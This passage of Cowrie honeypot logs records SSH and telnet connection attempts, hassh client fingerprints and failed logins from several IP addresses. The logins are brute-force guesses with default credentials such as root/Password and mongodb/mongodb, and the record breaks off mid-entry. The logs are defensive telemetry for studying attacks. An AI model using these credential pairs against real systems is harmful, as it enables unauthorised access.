{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:59.044475Z","src_ip":"160.187.174.22","session":"ae9777170101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:49:59.745520Z","src_ip":"160.187.174.22","session":"ae9777170101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.50584936141968,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:50:00.543934Z","src_ip":"170.64.224.25","session":"a2847a1cc269","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:50:01.073118Z","src_ip":"160.187.174.22","session":"ae9777170101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":56594,"dst_ip":"159.203.135.109","dst_port":22,"session":"7efd2f6d76c3","protocol":"ssh","message":"New connection: 160.187.174.22:56594 (159.203.135.109:22) [session: 7efd2f6d76c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:50:26.062122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:50:26.066143Z","src_ip":"160.187.174.22","session":"7efd2f6d76c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:50:26.312372Z","src_ip":"160.187.174.22","session":"7efd2f6d76c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongodb","password":"mongodb","message":"login attempt [mongodb/mongodb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:50:27.006008Z","src_ip":"160.187.174.22","session":"7efd2f6d76c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:50:28.239530Z","src_ip":"160.187.174.22","session":"7efd2f6d76c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":98.72651863098145,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:50:42.825468Z","src_ip":"170.64.224.25","session":"7a9a0857dc15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":57280,"dst_ip":"10.17.0.5","dst_port":22,"session":"350430d42b7b","protocol":"ssh","message":"New connection: 91.92.40.4:57280 (10.17.0.5:22) [session: 350430d42b7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:50:42.968867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:50:42.972773Z","src_ip":"91.92.40.4","session":"350430d42b7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:50:43.053902Z","src_ip":"91.92.40.4","session":"350430d42b7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:50:43.304866Z","src_ip":"91.92.40.4","session":"350430d42b7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:50:44.462394Z","src_ip":"91.92.40.4","session":"350430d42b7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":38964,"dst_ip":"159.203.135.109","dst_port":22,"session":"78d3057f38ea","protocol":"ssh","message":"New connection: 160.187.174.22:38964 (159.203.135.109:22) [session: 78d3057f38ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:50:54.650757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:50:54.655093Z","src_ip":"160.187.174.22","session":"78d3057f38ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:50:55.202135Z","src_ip":"160.187.174.22","session":"78d3057f38ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongodb","password":"123456","message":"login attempt [mongodb/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:50:56.175073Z","src_ip":"160.187.174.22","session":"78d3057f38ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:50:57.418991Z","src_ip":"160.187.174.22","session":"78d3057f38ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":48496,"dst_ip":"159.203.135.109","dst_port":22,"session":"a93f69d86c98","protocol":"ssh","message":"New connection: 160.187.174.22:48496 (159.203.135.109:22) [session: a93f69d86c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:51:23.340023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:51:23.344847Z","src_ip":"160.187.174.22","session":"a93f69d86c98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:51:23.598171Z","src_ip":"160.187.174.22","session":"a93f69d86c98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:51:24.352869Z","src_ip":"160.187.174.22","session":"a93f69d86c98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:51:25.603719Z","src_ip":"160.187.174.22","session":"a93f69d86c98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":107.48775362968445,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:51:29.429403Z","src_ip":"167.172.116.158","session":"adfb054f2c67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":39102,"dst_ip":"159.203.135.109","dst_port":22,"session":"2693c0f04403","protocol":"ssh","message":"New connection: 160.187.174.22:39102 (159.203.135.109:22) [session: 2693c0f04403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:51:50.449488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:51:50.453638Z","src_ip":"160.187.174.22","session":"2693c0f04403","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:51:50.708225Z","src_ip":"160.187.174.22","session":"2693c0f04403","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:51:51.443643Z","src_ip":"160.187.174.22","session":"2693c0f04403","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:51:52.686517Z","src_ip":"160.187.174.22","session":"2693c0f04403","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":55786,"dst_ip":"10.17.0.5","dst_port":22,"session":"24d749f1ea1f","protocol":"ssh","message":"New connection: 193.37.70.224:55786 (10.17.0.5:22) [session: 24d749f1ea1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:51:59.206975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:51:59.209868Z","src_ip":"193.37.70.224","session":"24d749f1ea1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:51:59.297433Z","src_ip":"193.37.70.224","session":"24d749f1ea1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:51:59.557119Z","src_ip":"193.37.70.224","session":"24d749f1ea1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:52:00.647463Z","src_ip":"193.37.70.224","session":"24d749f1ea1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34854,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd958cdf1e7f","protocol":"ssh","message":"New connection: 160.187.174.22:34854 (159.203.135.109:22) [session: fd958cdf1e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:52:17.022698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:52:17.026444Z","src_ip":"160.187.174.22","session":"fd958cdf1e7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:52:17.271285Z","src_ip":"160.187.174.22","session":"fd958cdf1e7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":50286,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c2448cb3f70","protocol":"ssh","message":"New connection: 38.242.143.220:50286 (10.17.0.5:22) [session: 5c2448cb3f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:52:17.535746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:52:17.539556Z","src_ip":"38.242.143.220","session":"5c2448cb3f70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha